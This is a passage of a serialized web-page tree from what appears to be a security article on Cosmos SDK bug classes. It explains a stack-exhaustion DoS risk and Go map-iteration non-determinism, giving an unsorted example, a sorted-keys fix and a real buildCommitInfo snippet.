8,81202],{"type":25,"tag":216,"props":81191,"children":81192},{"style":7369},[81193],{"type":31,"value":18284},{"type":25,"tag":216,"props":81195,"children":81196},{"style":6958},[81197],{"type":31,"value":1844},{"type":25,"tag":216,"props":81199,"children":81200},{"style":6941},[81201],{"type":31,"value":81166},{"type":25,"tag":216,"props":81203,"children":81204},{"style":6958},[81205],{"type":31,"value":7101},{"type":25,"tag":216,"props":81207,"children":81208},{"class":6916,"line":7568},[81209],{"type":25,"tag":216,"props":81210,"children":81211},{"style":6958},[81212],{"type":31,"value":7868},{"type":25,"tag":38,"props":81214,"children":81215},{},[81216,81218,81224,81226,81231],{"type":31,"value":81217},"As users have complete control over ",{"type":25,"tag":82,"props":81219,"children":81221},{"className":81220},[],[81222],{"type":31,"value":81223},"allocate",{"type":31,"value":81225},", there is a possibility to call back ",{"type":25,"tag":82,"props":81227,"children":81229},{"className":81228},[],[81230],{"type":31,"value":80686},{"type":31,"value":81232}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":25,"tag":38,"props":81234,"children":81235},{},[81236,81238,81245],{"type":31,"value":81237},"Additional real-world examples include ",{"type":25,"tag":162,"props":81239,"children":81242},{"href":81240,"rel":81241},"https://github.com/cosmos/cosmos-sdk/issues/16676",[166],[81243],{"type":31,"value":81244},"not returning proper values for malformed txs",{"type":31,"value":179},{"type":25,"tag":26,"props":81247,"children":81249},{"id":81248},"order-was-the-dream-of-man",[81250],{"type":31,"value":81251},"Order Was the Dream of Man",{"type":25,"tag":38,"props":81253,"children":81254},{},[81255],{"type":31,"value":81256},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":25,"tag":38,"props":81258,"children":81259},{},[81260],{"type":31,"value":81261},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":25,"tag":206,"props":81263,"children":81265},{"code":81264,"language":80130,"meta":7,"className":80131,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[81266],{"type":25,"tag":82,"props":81267,"children":81268},{"__ignoreMap":7},[81269,81302,81309,81338,81375,81404,81425,81437,81474,81482,81489,81496],{"type":25,"tag":216,"props":81270,"children":81271},{"class":6916,"line":6917},[81272,81276,81281,81285,81289,81293,81297],{"type":25,"tag":216,"props":81273,"children":81274},{"style":6930},[81275],{"type":31,"value":36713},{"type":25,"tag":216,"props":81277,"children":81278},{"style":7369},[81279],{"type":31,"value":81280}," ObjectMap",{"type":25,"tag":216,"props":81282,"children":81283},{"style":6930},[81284],{"type":31,"value":53631},{"type":25,"tag":216,"props":81286,"children":81287},{"style":6958},[81288],{"type":31,"value":7695},{"type":25,"tag":216,"props":81290,"children":81291},{"style":7369},[81292],{"type":31,"value":33621},{"type":25,"tag":216,"props":81294,"children":81295},{"style":6958},[81296],{"type":31,"value":19362},{"type":25,"tag":216,"props":81298,"children":81299},{"style":7369},[81300],{"type":31,"value":81301},"string\n",{"type":25,"tag":216,"props":81303,"children":81304},{"class":6916,"line":6763},[81305],{"type":25,"tag":216,"props":81306,"children":81307},{"emptyLinePlaceholder":16},[81308],{"type":31,"value":7636},{"type":25,"tag":216,"props":81310,"children":81311},{"class":6916,"line":6772},[81312,81316,81321,81325,81330,81334],{"type":25,"tag":216,"props":81313,"children":81314},{"style":6930},[81315],{"type":31,"value":80266},{"type":25,"tag":216,"props":81317,"children":81318},{"style":7041},[81319],{"type":31,"value":81320}," EmitEntries",{"type":25,"tag":216,"props":81322,"children":81323},{"style":6958},[81324],{"type":31,"value":1844},{"type":25,"tag":216,"props":81326,"children":81327},{"style":6941},[81328],{"type":31,"value":81329},"objectMap",{"type":25,"tag":216,"props":81331,"children":81332},{"style":7369},[81333],{"type":31,"value":81280},{"type":25,"tag":216,"props":81335,"children":81336},{"style":6958},[81337],{"type":31,"value":18755},{"type":25,"tag":216,"props":81339,"children":81340},{"class":6916,"line":6999},[81341,81345,81349,81353,81357,81361,81366,81371],{"type":25,"tag":216,"props":81342,"children":81343},{"style":6967},[81344],{"type":31,"value":6970},{"type":25,"tag":216,"props":81346,"children":81347},{"style":6941},[81348],{"type":31,"value":9877},{"type":25,"tag":216,"props":81350,"children":81351},{"style":6958},[81352],{"type":31,"value":7020},{"type":25,"tag":216,"props":81354,"children":81355},{"style":6941},[81356],{"type":31,"value":43109},{"type":25,"tag":216,"props":81358,"children":81359},{"style":6947},[81360],{"type":31,"value":80382},{"type":25,"tag":216,"props":81362,"children":81363},{"style":6967},[81364],{"type":31,"value":81365}," range",{"type":25,"tag":216,"props":81367,"children":81368},{"style":6941},[81369],{"type":31,"value":81370}," objectMap",{"type":25,"tag":216,"props":81372,"children":81373},{"style":6958},[81374],{"type":31,"value":7235},{"type":25,"tag":216,"props":81376,"children":81377},{"class":6916,"line":7104},[81378,81382,81386,81391,81395,81400],{"type":25,"tag":216,"props":81379,"children":81380},{"style":6941},[81381],{"type":31,"value":30138},{"type":25,"tag":216,"props":81383,"children":81384},{"style":6958},[81385],{"type":31,"value":179},{"type":25,"tag":216,"props":81387,"children":81388},{"style":6941},[81389],{"type":31,"value":81390},"EventManager",{"type":25,"tag":216,"props":81392,"children":81393},{"style":6958},[81394],{"type":31,"value":179},{"type":25,"tag":216,"props":81396,"children":81397},{"style":7041},[81398],{"type":31,"value":81399},"EmitEvent",{"type":25,"tag":216,"props":81401,"children":81402},{"style":6958},[81403],{"type":31,"value":7414},{"type":25,"tag":216,"props":81405,"children":81406},{"class":6916,"line":7210},[81407,81412,81416,81421],{"type":25,"tag":216,"props":81408,"children":81409},{"style":6941},[81410],{"type":31,"value":81411},"            sdk",{"type":25,"tag":216,"props":81413,"children":81414},{"style":6958},[81415],{"type":31,"value":179},{"type":25,"tag":216,"props":81417,"children":81418},{"style":7041},[81419],{"type":31,"value":81420},"NewEvent",{"type":25,"tag":216,"props":81422,"children":81423},{"style":6958},[81424],{"type":31,"value":7414},{"type":25,"tag":216,"props":81426,"children":81427},{"class":6916,"line":7238},[81428,81433],{"type":25,"tag":216,"props":81429,"children":81430},{"style":8199},[81431],{"type":31,"value":81432},"                \"MapContext\"",{"type":25,"tag":216,"props":81434,"children":81435},{"style":6958},[81436],{"type":31,"value":7459},{"type":25,"tag":216,"props":81438,"children":81439},{"class":6916,"line":7251},[81440,81445,81449,81454,81458,81462,81466,81470],{"type":25,"tag":216,"props":81441,"children":81442},{"style":6941},[81443],{"type":31,"value":81444},"                sdk",{"type":25,"tag":216,"props":81446,"children":81447},{"style":6958},[81448],{"type":31,"value":179},{"type":25,"tag":216,"props":81450,"children":81451},{"style":7041},[81452],{"type":31,"value":81453},"NewAttribute",{"type":25,"tag":216,"props":81455,"children":81456},{"style":6958},[81457],{"type":31,"value":1844},{"type":25,"tag":216,"props":81459,"children":81460},{"style":6941},[81461],{"type":31,"value":76120},{"type":25,"tag":216,"props":81463,"children":81464},{"style":6958},[81465],{"type":31,"value":7020},{"type":25,"tag":216,"props":81467,"children":81468},{"style":6941},[81469],{"type":31,"value":43109},{"type":25,"tag":216,"props":81471,"children":81472},{"style":6958},[81473],{"type":31,"value":10682},{"type":25,"tag":216,"props":81475,"children":81476},{"class":6916,"line":7269},[81477],{"type":25,"tag":216,"props":81478,"children":81479},{"style":6958},[81480],{"type":31,"value":81481},"            )\n",{"type":25,"tag":216,"props":81483,"children":81484},{"class":6916,"line":7290},[81485],{"type":25,"tag":216,"props":81486,"children":81487},{"style":6958},[81488],{"type":31,"value":72284},{"type":25,"tag":216,"props":81490,"children":81491},{"class":6916,"line":7299},[81492],{"type":25,"tag":216,"props":81493,"children":81494},{"style":6958},[81495],{"type":31,"value":7305},{"type":25,"tag":216,"props":81497,"children":81498},{"class":6916,"line":7551},[81499],{"type":25,"tag":216,"props":81500,"children":81501},{"style":6958},[81502],{"type":31,"value":7868},{"type":25,"tag":38,"props":81504,"children":81505},{},[81506],{"type":31,"value":81507},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":25,"tag":34,"props":81509,"children":81510},{},[81511],{"type":25,"tag":38,"props":81512,"children":81513},{},[81514],{"type":31,"value":81515},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":25,"tag":38,"props":81517,"children":81518},{},[81519,81521,81526],{"type":31,"value":81520},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":25,"tag":82,"props":81522,"children":81524},{"className":81523},[],[81525],{"type":31,"value":71065},{"type":31,"value":81527}," and then fetch the values using the sorted key array before emitting them.",{"type":25,"tag":206,"props":81529,"children":81531},{"code":81530,"language":80130,"meta":7,"className":80131,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[81532],{"type":25,"tag":82,"props":81533,"children":81534},{"__ignoreMap":7},[81535,81566,81573,81600,81620,81647,81683,81690,81719,81726,81761,81788,81807,81818,81862,81869,81876,81883],{"type":25,"tag":216,"props":81536,"children":81537},{"class":6916,"line":6917},[81538,81542,81546,81550,81554,81558,81562],{"type":25,"tag":216,"props":81539,"children":81540},{"style":6930},[81541],{"type":31,"value":36713},{"type":25,"tag":216,"props":81543,"children":81544},{"style":7369},[81545],{"type":31,"value":81280},{"type":25,"tag":216,"props":81547,"children":81548},{"style":6930},[81549],{"type":31,"value":53631},{"type":25,"tag":216,"props":81551,"children":81552},{"style":6958},[81553],{"type":31,"value":7695},{"type":25,"tag":216,"props":81555,"children":81556},{"style":7369},[81557],{"type":31,"value":33621},{"type":25,"tag":216,"props":81559,"children":81560},{"style":6958},[81561],{"type":31,"value":19362},{"type":25,"tag":216,"props":81563,"children":81564},{"style":7369},[81565],{"type":31,"value":81301},{"type":25,"tag":216,"props":81567,"children":81568},{"class":6916,"line":6763},[81569],{"type":25,"tag":216,"props":81570,"children":81571},{"emptyLinePlaceholder":16},[81572],{"type":31,"value":7636},{"type":25,"tag":216,"props":81574,"children":81575},{"class":6916,"line":6772},[81576,81580,81584,81588,81592,81596],{"type":25,"tag":216,"props":81577,"children":81578},{"style":6930},[81579],{"type":31,"value":80266},{"type":25,"tag":216,"props":81581,"children":81582},{"style":7041},[81583],{"type":31,"value":81320},{"type":25,"tag":216,"props":81585,"children":81586},{"style":6958},[81587],{"type":31,"value":1844},{"type":25,"tag":216,"props":81589,"children":81590},{"style":6941},[81591],{"type":31,"value":81329},{"type":25,"tag":216,"props":81593,"children":81594},{"style":7369},[81595],{"type":31,"value":81280},{"type":25,"tag":216,"props":81597,"children":81598},{"style":6958},[81599],{"type":31,"value":18755},{"type":25,"tag":216,"props":81601,"children":81602},{"class":6916,"line":6999},[81603,81608,81612,81616],{"type":25,"tag":216,"props":81604,"children":81605},{"style":6930},[81606],{"type":31,"value":81607},"    var",{"type":25,"tag":216,"props":81609,"children":81610},{"style":6941},[81611],{"type":31,"value":25334},{"type":25,"tag":216,"props":81613,"children":81614},{"style":6958},[81615],{"type":31,"value":80193},{"type":25,"tag":216,"props":81617,"children":81618},{"style":7369},[81619],{"type":31,"value":81301},{"type":25,"tag":216,"props":81621,"children":81622},{"class":6916,"line":7104},[81623,81627,81631,81635,81639,81643],{"type":25,"tag":216,"props":81624,"children":81625},{"style":6967},[81626],{"type":31,"value":6970},{"type":25,"tag":216,"props":81628,"children":81629},{"style":6941},[81630],{"type":31,"value":9877},{"type":25,"tag":216,"props":81632,"children":81633},{"style":6947},[81634],{"type":31,"value":80382},{"type":25,"tag":216,"props":81636,"children":81637},{"style":6967},[81638],{"type":31,"value":81365},{"type":25,"tag":216,"props":81640,"children":81641},{"style":6941},[81642],{"type":31,"value":81370},{"type":25,"tag":216,"props":81644,"children":81645},{"style":6958},[81646],{"type":31,"value":7235},{"type":25,"tag":216,"props":81648,"children":81649},{"class":6916,"line":7210},[81650,81654,81658,81663,81667,81671,81675,81679],{"type":25,"tag":216,"props":81651,"children":81652},{"style":6941},[81653],{"type":31,"value":29283},{"type":25,"tag":216,"props":81655,"children":81656},{"style":6947},[81657],{"type":31,"value":6950},{"type":25,"tag":216,"props":81659,"children":81660},{"style":7041},[81661],{"type":31,"value":81662}," append",{"type":25,"tag":216,"props":81664,"children":81665},{"style":6958},[81666],{"type":31,"value":1844},{"type":25,"tag":216,"props":81668,"children":81669},{"style":6941},[81670],{"type":31,"value":24937},{"type":25,"tag":216,"props":81672,"children":81673},{"style":6958},[81674],{"type":31,"value":7020},{"type":25,"tag":216,"props":81676,"children":81677},{"style":6941},[81678],{"type":31,"value":76120},{"type":25,"tag":216,"props":81680,"children":81681},{"style":6958},[81682],{"type":31,"value":7101},{"type":25,"tag":216,"props":81684,"children":81685},{"class":6916,"line":7238},[81686],{"type":25,"tag":216,"props":81687,"children":81688},{"style":6958},[81689],{"type":31,"value":7305},{"type":25,"tag":216,"props":81691,"children":81692},{"class":6916,"line":7251},[81693,81698,81702,81707,81711,81715],{"type":25,"tag":216,"props":81694,"children":81695},{"style":6941},[81696],{"type":31,"value":81697},"    sort",{"type":25,"tag":216,"props":81699,"children":81700},{"style":6958},[81701],{"type":31,"value":179},{"type":25,"tag":216,"props":81703,"children":81704},{"style":7041},[81705],{"type":31,"value":81706},"Strings",{"type":25,"tag":216,"props":81708,"children":81709},{"style":6958},[81710],{"type":31,"value":1844},{"type":25,"tag":216,"props":81712,"children":81713},{"style":6941},[81714],{"type":31,"value":24937},{"type":25,"tag":216,"props":81716,"children":81717},{"style":6958},[81718],{"type":31,"value":7101},{"type":25,"tag":216,"props":81720,"children":81721},{"class":6916,"line":7269},[81722],{"type":25,"tag":216,"props":81723,"children":81724},{"emptyLinePlaceholder":16},[81725],{"type":31,"value":7636},{"type":25,"tag":216,"props":81727,"children":81728},{"class":6916,"line":7290},[81729,81733,81737,81741,81745,81749,81753,81757],{"type":25,"tag":216,"props":81730,"children":81731},{"style":6967},[81732],{"type":31,"value":6970},{"type":25,"tag":216,"props":81734,"children":81735},{"style":6941},[81736],{"type":31,"value":6975},{"type":25,"tag":216,"props":81738,"children":81739},{"style":6958},[81740],{"type":31,"value":7020},{"type":25,"tag":216,"props":81742,"children":81743},{"style":6941},[81744],{"type":31,"value":76120},{"type":25,"tag":216,"props":81746,"children":81747},{"style":6947},[81748],{"type":31,"value":80382},{"type":25,"tag":216,"props":81750,"children":81751},{"style":6967},[81752],{"type":31,"value":81365},{"type":25,"tag":216,"props":81754,"children":81755},{"style":6941},[81756],{"type":31,"value":25334},{"type":25,"tag":216,"props":81758,"children":81759},{"style":6958},[81760],{"type":31,"value":7235},{"type":25,"tag":216,"props":81762,"children":81763},{"class":6916,"line":7299},[81764,81768,81772,81776,81780,81784],{"type":25,"tag":216,"props":81765,"children":81766},{"style":6941},[81767],{"type":31,"value":30138},{"type":25,"tag":216,"props":81769,"children":81770},{"style":6958},[81771],{"type":31,"value":179},{"type":25,"tag":216,"props":81773,"children":81774},{"style":6941},[81775],{"type":31,"value":81390},{"type":25,"tag":216,"props":81777,"children":81778},{"style":6958},[81779],{"type":31,"value":179},{"type":25,"tag":216,"props":81781,"children":81782},{"style":7041},[81783],{"type":31,"value":81399},{"type":25,"tag":216,"props":81785,"children":81786},{"style":6958},[81787],{"type":31,"value":7414},{"type":25,"tag":216,"props":81789,"children":81790},{"class":6916,"line":7551},[81791,81795,81799,81803],{"type":25,"tag":216,"props":81792,"children":81793},{"style":6941},[81794],{"type":31,"value":81411},{"type":25,"tag":216,"props":81796,"children":81797},{"style":6958},[81798],{"type":31,"value":179},{"type":25,"tag":216,"props":81800,"children":81801},{"style":7041},[81802],{"type":31,"value":81420},{"type":25,"tag":216,"props":81804,"children":81805},{"style":6958},[81806],{"type":31,"value":7414},{"type":25,"tag":216,"props":81808,"children":81809},{"class":6916,"line":7568},[81810,81814],{"type":25,"tag":216,"props":81811,"children":81812},{"style":8199},[81813],{"type":31,"value":81432},{"type":25,"tag":216,"props":81815,"children":81816},{"style":6958},[81817],{"type":31,"value":7459},{"type":25,"tag":216,"props":81819,"children":81820},{"class":6916,"line":7585},[81821,81825,81829,81833,81837,81841,81845,81849,81853,81857],{"type":25,"tag":216,"props":81822,"children":81823},{"style":6941},[81824],{"type":31,"value":81444},{"type":25,"tag":216,"props":81826,"children":81827},{"style":6958},[81828],{"type":31,"value":179},{"type":25,"tag":216,"props":81830,"children":81831},{"style":7041},[81832],{"type":31,"value":81453},{"type":25,"tag":216,"props":81834,"children":81835},{"style":6958},[81836],{"type":31,"value":1844},{"type":25,"tag":216,"props":81838,"children":81839},{"style":6941},[81840],{"type":31,"value":76120},{"type":25,"tag":216,"props":81842,"children":81843},{"style":6958},[81844],{"type":31,"value":7020},{"type":25,"tag":216,"props":81846,"children":81847},{"style":6941},[81848],{"type":31,"value":81329},{"type":25,"tag":216,"props":81850,"children":81851},{"style":6958},[81852],{"type":31,"value":7695},{"type":25,"tag":216,"props":81854,"children":81855},{"style":6941},[81856],{"type":31,"value":76120},{"type":25,"tag":216,"props":81858,"children":81859},{"style":6958},[81860],{"type":31,"value":81861},"]),\n",{"type":25,"tag":216,"props":81863,"children":81864},{"class":6916,"line":7598},[81865],{"type":25,"tag":216,"props":81866,"children":81867},{"style":6958},[81868],{"type":31,"value":81481},{"type":25,"tag":216,"props":81870,"children":81871},{"class":6916,"line":7607},[81872],{"type":25,"tag":216,"props":81873,"children":81874},{"style":6958},[81875],{"type":31,"value":72284},{"type":25,"tag":216,"props":81877,"children":81878},{"class":6916,"line":7630},[81879],{"type":25,"tag":216,"props":81880,"children":81881},{"style":6958},[81882],{"type":31,"value":7305},{"type":25,"tag":216,"props":81884,"children":81885},{"class":6916,"line":7639},[81886],{"type":25,"tag":216,"props":81887,"children":81888},{"style":6958},[81889],{"type":31,"value":7868},{"type":25,"tag":38,"props":81891,"children":81892},{},[81893],{"type":31,"value":81894},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":25,"tag":607,"props":81896,"children":81898},{"id":81897},"real-world-examples-1",[81899],{"type":31,"value":80655},{"type":25,"tag":38,"props":81901,"children":81902},{},[81903,81905,81910,81912,81918,81920,81926,81928,81934],{"type":31,"value":81904},"Real-world examples of ",{"type":25,"tag":82,"props":81906,"children":81908},{"className":81907},[],[81909],{"type":31,"value":71065},{"type":31,"value":81911}," causing determinism problems can be found ",{"type":25,"tag":162,"props":81913,"children":81916},{"href":81914,"rel":81915},"https://github.com/cosmos/cosmos-sdk/pull/12487",[166],[81917],{"type":31,"value":51547},{"type":31,"value":81919},", specifically, where the result of ",{"type":25,"tag":82,"props":81921,"children":81923},{"className":81922},[],[81924],{"type":31,"value":81925},"buildCommitInfo",{"type":31,"value":81927}," is inconsistent due to iteration over the ",{"type":25,"tag":82,"props":81929,"children":81931},{"className":81930},[],[81932],{"type":31,"value":81933},"rs.stores",{"type":31,"value":81935}," map.",{"type":25,"tag":38,"props":81937,"children":81938},{},[81939],{"type":25,"tag":162,"props":81940,"children":81943},{"href":81941,"rel":81942},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[166],[81944],{"type":31,"value":80705},{"type":25,"tag":206,"props":81946,"children":81948},{"code":81947,"language":80130,"meta":7,"className":80131,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[81949],{"type":25,"tag":82,"props":81950,"children":81951},{"__ignoreMap":7},[81952,81989,82002,82030,82064,82109,82155,82163,82170,82215,82245,82274,82281,82288,82315,82337,82357,82364],{"type":25,"tag":216,"props":81953,"children":81954},{"class":6916,"line":6917},[81955,81959,81963,81968,81972,81977,81981,81985],{"type":25,"tag":216,"props":81956,"children":81957},{"style":6930},[81958],{"type":31,"value":80266},{"type":25,"tag":216,"props":81960,"children":81961},{"style":6958},[81962],{"type":31,"value":7010},{"type":25,"tag":216,"props":81964,"children":81965},{"style":6941},[81966],{"type":31,"value":81967},"rs ",{"type":25,"tag":216,"props":81969,"children":81970},{"style":6947},[81971],{"type":31,"value":8513},{"type":25,"tag":216,"props":81973,"children":81974},{"style":7369},[81975],{"type":31,"value":81976},"Store",{"type":25,"tag":216,"props":81978,"children":81979},{"style":6958},[81980],{"type":31,"value":7030},{"type":25,"tag":216,"props":81982,"children":81983},{"style":7041},[81984],{"type":31,"value":81925},{"type":25,"tag":216,"props":81986,"children":81987},{"style":6958},[81988],{"type":31,"value":7414},{"type":25,"tag":216,"props":81990,"children":81991},{"class":6916,"line":6763},[81992,81997],{"type":25,"tag":216,"props":81993,"children":81994},{"style":6941},[81995],{"type":31,"value":81996},"    version",{"type":25,"tag":216,"props":81998,"children":81999},{"style":7369},[82000],{"type":31,"value":82001}," int64\n",{"type":25,"tag":216,"props":82003,"children":82004},{"class":6916,"line":6772},[82005,82009,82013,82017,82021,82026],{"type":25,"tag":216,"props":82006,"children":82007},{"style":6958},[82008],{"type":31,"value":7030},{"type":25,"tag":216,"props":82010,"children":82011},{"style":6947},[82012],{"type":31,"value":8513},{"type":25,"tag":216,"props":82014,"children":82015},{"style":7369},[82016],{"type":31,"value":9703},{"type":25,"tag":216,"props":82018,"children":82019},{"style":6958},[82020],{"type":31,"value":179},{"type":25,"tag":216,"props":82022,"children":82023},{"style":7369},[82024],{"type":31,"value":82025},"CommitInfo",{"type":25,"tag":216,"props":82027,"children":82028},{"style":6958},[82029],{"type":31,"value":7235},{"type":25,"tag":216,"props":82031,"children":82032},{"class":6916,"line":6999},[82033,82038,82042,82046,82050,82054,82059],{"type":25,"tag":216,"props":82034,"children":82035},{"style":6941},[82036],{"type":31,"value":82037},"    storeInfos",{"type":25,"tag":216,"props":82039,"children":82040},{"style":6947},[82041],{"type":31,"value":80382},{"type":25,"tag":216,"props":82043,"children":82044},{"style":6958},[82045],{"type":31,"value":80193},{"type":25,"tag":216,"props":82047,"children":82048},{"style":7369},[82049],{"type":31,"value":9703},{"type":25,"tag":216,"props":82051,"children":82052},{"style":6958},[82053],{"type":31,"value":179},{"type":25,"tag":216,"props":82055,"children":82056},{"style":7369},[82057],{"type":31,"value":82058},"StoreInfo",{"type":25,"tag":216,"props":82060,"children":82061},{"style":6958},[82062],{"type":31,"value":82063},"{}\n",{"type":25,"tag":216,"props":82065,"children":82066},{"class":6916,"line":7104},[82067,82071,82075,82079,82083,82087,82091,82096,82100,82105],{"type":25,"tag":216,"props":82068,"children":82069},{"style":6967},[82070],{"type":31,"value":6970},{"type":25,"tag":216,"props":82072,"children":82073},{"style":6941},[82074],{"type":31,"value":9877},{"type":25,"tag":216,"props":82076,"children":82077},{"style":6958},[82078],{"type":31,"value":7020},{"type":25,"tag":216,"props":82080,"children":82081},{"style":6941},[82082],{"type":31,"value":9886},{"type":25,"tag":216,"props":82084,"children":82085},{"style":6947},[82086],{"type":31,"value":80382},{"type":25,"tag":216,"props":82088,"children":82089},{"style":6967},[82090],{"type":31,"value":81365},{"type":25,"tag":216,"props":82092,"children":82093},{"style":6941},[82094],{"type":31,"value":82095}," rs",{"type":25,"tag":216,"props":82097,"children":82098},{"style":6958},[82099],{"type":31,"value":179},{"type":25,"tag":216,"props":82101,"children":82102},{"style":6941},[82103],{"type":31,"value":82104},"stores",{"type":25,"tag":216,"props":82106,"children":82107},{"style":6958},[82108],{"type":31,"value":7235},{"type":25,"tag":216,"props":82110,"children":82111},{"class":6916,"line":7210},[82112,82116,82120,82124,82129,82133,82137,82142,82146,82151],{"type":25,"tag":216,"props":82113,"children":82114},{"style":6967},[82115],{"type":31,"value":7216},{"type":25,"tag":216,"props":82117,"children":82118},{"style":6941},[82119],{"type":31,"value":9776},{"type":25,"tag":216,"props":82121,"children":82122},{"style":6958},[82123],{"type":31,"value":179},{"type":25,"tag":216,"props":82125,"children":82126},{"style":7041},[82127],{"type":31,"value":82128},"GetStoreType",{"type":25,"tag":216,"props":82130,"children":82131},{"style":6958},[82132],{"type":31,"value":17994},{"type":25,"tag":216,"props":82134,"children":82135},{"style":6947},[82136],{"type":31,"value":12522},{"type":25,"tag":216,"props":82138,"children":82139},{"style":6941},[82140],{"type":31,"value":82141}," types",{"type":25,"tag":216,"props":82143,"children":82144},{"style":6958},[82145],{"type":31,"value":179},{"type":25,"tag":216,"props":82147,"children":82148},{"style":6941},[82149],{"type":31,"value":82150},"StoreTypeTransient",{"type":25,"tag":216,"props":82152,"children":82153},{"style":6958},[82154],{"type":31,"value":7235},{"type":25,"tag":216,"props":82156,"children":82157},{"class":6916,"line":7238},[82158],{"type":25,"tag":216,"props":82159,"children":82160},{"style":6967},[82161],{"type":31,"value":82162},"            continue\n",{"type":25,"tag":216,"props":82164,"children":82165},{"class":6916,"line":7251},[82166],{"type":25,"tag":216,"props":82167,"children":82168},{"style":6958},[82169],{"type":31,"value":7296},{"type":25,"tag":216,"props":82171,"children":82172},{"class":6916,"line":7269},[82173,82178,82182,82186,82190,82195,82199,82203,82207,82211],{"type":25,"tag":216,"props":82174,"children":82175},{"style":6941},[82176],{"type":31,"value":82177},"        storeInfos",{"type":25,"tag":216,"props":82179,"children":82180},{"style":6947},[82181],{"type":31,"value":6950},{"type":25,"tag":216,"props":82183,"children":82184},{"style":7041},[82185],{"type":31,"value":81662},{"type":25,"tag":216,"props":82187,"children":82188},{"style":6958},[82189],{"type":31,"value":1844},{"type":25,"tag":216,"props":82191,"children":82192},{"style":6941},[82193],{"type":31,"value":82194},"storeInfos",{"type":25,"tag":216,"props":82196,"children":82197},{"style":6958},[82198],{"type":31,"value":7020},{"type":25,"tag":216,"props":82200,"children":82201},{"style":7369},[82202],{"type":31,"value":9703},{"type":25,"tag":216,"props":82204,"children":82205},{"style":6958},[82206],{"type":31,"value":179},{"type":25,"tag":216,"props":82208,"children":82209},{"style":7369},[82210],{"type":31,"value":82058},{"type":25,"tag":216,"props":82212,"children":82213},{"style":6958},[82214],{"type":31,"value":14830},{"type":25,"tag":216,"props":82216,"children":82217},{"class":6916,"line":7290},[82218,82223,82228,82232,82236,82241],{"type":25,"tag":216,"props":82219,"children":82220},{"style":6941},[82221],{"type":31,"value":82222},"            Name",{"type":25,"tag":216,"props":82224,"children":82225},{"style":6958},[82226],{"type":31,"value":82227},":     ",{"type":25,"tag":216,"props":82229,"children":82230},{"style":6941},[82231],{"type":31,"value":76120},{"type":25,"tag":216,"props":82233,"children":82234},{"style":6958},[82235],{"type":31,"value":179},{"type":25,"tag":216,"props":82237,"children":82238},{"style":7041},[82239],{"type":31,"value":82240},"Name",{"type":25,"tag":216,"props":82242,"children":82243},{"style":6958},[82244],{"type":31,"value":7442},{"type":25,"tag":216,"props":82246,"children":82247},{"class":6916,"line":7299},[82248,82253,82257,82261,82265,82270],{"type":25,"tag":216,"props":82249,"children":82250},{"style":6941},[82251],{"type":31,"value":82252},"            CommitId",{"type":25,"tag":216,"props":82254,"children":82255},{"style":6958},[82256],{"type":31,"value":19282},{"type":25,"tag":216,"props":82258,"children":82259},{"style":6941},[82260],{"type":31,"value":9886},{"type":25,"tag":216,"props":82262,"children":82263},{"style":6958},[82264],{"type":31,"value":179},{"type":25,"tag":216,"props":82266,"children":82267},{"style":7041},[82268],{"type":31,"value":82269},"LastCommitID",{"type":25,"tag":216,"props":82271,"children":82272},{"style":6958},[82273],{"type":31,"value":7442},{"type":25,"tag":216,"props":82275,"children":82276},{"class":6916,"line":7551},[82277],{"type":25,"tag":216,"props":82278,"children":82279},{"style":6958},[82280],{"type":31,"value":72161},{"type":25,"tag":216,"props":82282,"children":82283},{"class":6916,"line":7568},[82284],{"type":25,"tag":216,"props":82285,"children":82286},{"style":6958},[82287],{"type":31,"value":7305},{"type":25,"tag":216,"props":82289,"children":82290},{"class":6916,"line":7585},[82291,82295,82299,82303,82307,82311],{"type":25,"tag":216,"props":82292,"children":82293},{"style":6967},[82294],{"type":31,"value":20941},{"type":25,"tag":216,"props":82296,"children":82297},{"style":6947},[82298],{"type":31,"value":11087},{"type":25,"tag":216,"props":82300,"children":82301},{"style":7369},[82302],{"type":31,"value":9703},{"type":25,"tag":216,"props":82304,"children":82305},{"style":6958},[82306],{"type":31,"value":179},{"type":25,"tag":216,"props":82308,"children":82309},{"style":7369},[82310],{"type":31,"value":82025},{"type":25,"tag":216,"props":82312,"children":82313},{"style":6958},[82314],{"type":31,"value":14830},{"type":25,"tag":216,"props":82316,"children":82317},{"class":6916,"line":7598},[82318,82323,82328,82333],{"type":25,"tag":216,"props":82319,"children":82320},{"style":6941},[82321],{"type":31,"value":82322},"        Version",{"type":25,"tag":216,"props":82324,"children":82325},{"style":6958},[82326],{"type":31,"value":82327},":    